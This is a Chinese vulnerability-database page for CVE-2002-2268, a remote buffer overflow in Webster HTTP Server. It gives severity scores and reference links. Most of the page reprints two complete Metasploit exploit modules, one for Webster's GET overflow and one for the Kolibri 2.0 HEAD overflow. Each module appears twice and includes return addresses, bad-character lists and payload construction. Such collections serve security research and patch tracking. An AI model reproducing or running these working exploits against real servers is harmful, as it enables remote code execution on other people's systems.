CVE-2002-2268
CVSS9.4
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:32:46
NMCOEP    

[原文]Buffer overflow in Webster HTTP Server allows remote attackers to execute arbitrary code via a long URL.


[CNNVD]Webster HTTP Server超长请求缓冲区溢出漏洞(CNNVD-200212-500)

        Webster HTTP Server存在缓冲区溢出漏洞。远程攻击者借助超长URL执行任意代码。

- CVSS (基础分值)

CVSS分值: 9.4 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2268
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-2268
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-500
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/10727
(UNKNOWN)  XF  webster-url-bo(10727)
http://www.securityfocus.com/bid/6289
(UNKNOWN)  BID  6289
http://www.securiteam.com/windowsntfocus/6R0030A6AY.html
(UNKNOWN)  MISC  http://www.securiteam.com/windowsntfocus/6R0030A6AY.html
http://seclists.org/lists/bugtraq/2002/Dec/0013.html
(UNKNOWN)  BUGTRAQ  20021201 Advisory: Webster HTTP Server

- 漏洞信息

Webster HTTP Server超长请求缓冲区溢出漏洞
高危 缓冲区溢出
2002-12-31 00:00:00 2002-12-31 00:00:00
远程  
        Webster HTTP Server存在缓冲区溢出漏洞。远程攻击者借助超长URL执行任意代码。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (16802)

Webster HTTP Server GET Buffer Overflow (EDBID:16802)
windows remote
2010-11-03 Verified
0 metasploit
N/A [点击下载]
##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Webster HTTP Server GET Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in the Webster HTTP server.
					The server and source code was released within an article from
					the Microsoft Systems Journal in February 1996 titled "Write a
					Simple HTTP-based Server Using MFC and Windows Sockets".
			},
			'Author'         => [ 'patrick' ],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '44106' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
					[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0', 	{ 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
					[ 'Debug', 		{ 'Ret' => 0x44434241 } ] , # todo - add more targets.
				],
			'DisclosureDate' => 'Dec 02 2002',
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Sending request...")
		seh = generate_seh_payload(target.ret)

		send_request_raw({
			'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
		}, 2)

		handler
	end

end
		

- 漏洞信息 (16970)

Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow (EDBID:16970)
windows remote
2011-08-03 Verified
0 metasploit
[点击下载] [点击下载]
##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
			'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
			'Author'         => 
					[ 
						'mr_me <steventhomasseeley@gmail.com>', # msf
						'TheLeader' # original exploit
					],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '70808' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 3000,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
					[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
				],
			'DisclosureDate' => 'Dec 26 2010',
			'DefaultTarget'  => 0))
	end

	def check
		info = http_fingerprint
		if info and (info =~ /kolibri-2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		#7E429353    FFE4            JMP     ESP
		# For a reliable and large payload, we use an egg hunter
		# and direct RET to execute code
		print_status("Sending request...")
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
		sploit << eh_stub
		send_request_raw({
			'uri'     => "/" + sploit,
			'version' => '1.1',
			'method'  => 'HEAD',
			'headers' => {'Content-Type' => eh_egg},
		})

		handler
	end

end
		

- 漏洞信息 (F99271)

Kolibri 2.0 HTTP Server HEAD Buffer Overflow (PacketStormID:F99271)
2011-03-14 00:00:00
TheLeader,mr_me  metasploit.com
exploit,web,overflow
CVE-2002-2268,OSVDB-70808
[点击下载]

This Metasploit module exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.

##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
			'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
			'Author'         => 
					[ 
						'mr_me <steventhomasseeley@gmail.com>', # msf
						'TheLeader' # original exploit
					],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '70808' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 3000,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
					[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
				],
			'DisclosureDate' => 'Dec 26 2010',
			'DefaultTarget'  => 0))
	end

	def check
		info = http_fingerprint
		if info and (info =~ /kolibri-2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		#7E429353    FFE4            JMP     ESP
		# For a reliable and large payload, we use an egg hunter
		# and direct RET to execute code
		print_status("Sending request...")
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
		sploit << eh_stub
		send_request_raw({
			'uri'     => "/" + sploit,
			'version' => '1.1',
			'method'  => 'HEAD',
			'headers' => {'Content-Type' => eh_egg},
		})

		handler
	end

end
    

- 漏洞信息 (F95520)

Webster HTTP Server GET Buffer Overflow (PacketStormID:F95520)
2010-11-05 00:00:00
patrick  metasploit.com
exploit,web,overflow
windows
CVE-2002-2268
[点击下载]

This exploits a stack buffer overflow in the Webster HTTP server. The server and source code was released within an article from the Microsoft Systems Journal in February 1996 titled "Write a Simple HTTP-based Server Using MFC and Windows Sockets".

##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Webster HTTP Server GET Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in the Webster HTTP server.
					The server and source code was released within an article from
					the Microsoft Systems Journal in February 1996 titled "Write a
					Simple HTTP-based Server Using MFC and Windows Sockets".
			},
			'Author'         => [ 'patrick' ],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '44106' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
					[ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0', 	{ 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
					[ 'Debug', 		{ 'Ret' => 0x44434241 } ] , # todo - add more targets.
				],
			'DisclosureDate' => 'Dec 02 2002',
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Sending request...")
		seh = generate_seh_payload(target.ret)

		send_request_raw({
			'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
		}, 2)

		handler
	end

end
    

- 漏洞信息

44106
Webster HTTP Server URL Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

2002-12-01 Unknow
2002-12-01 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站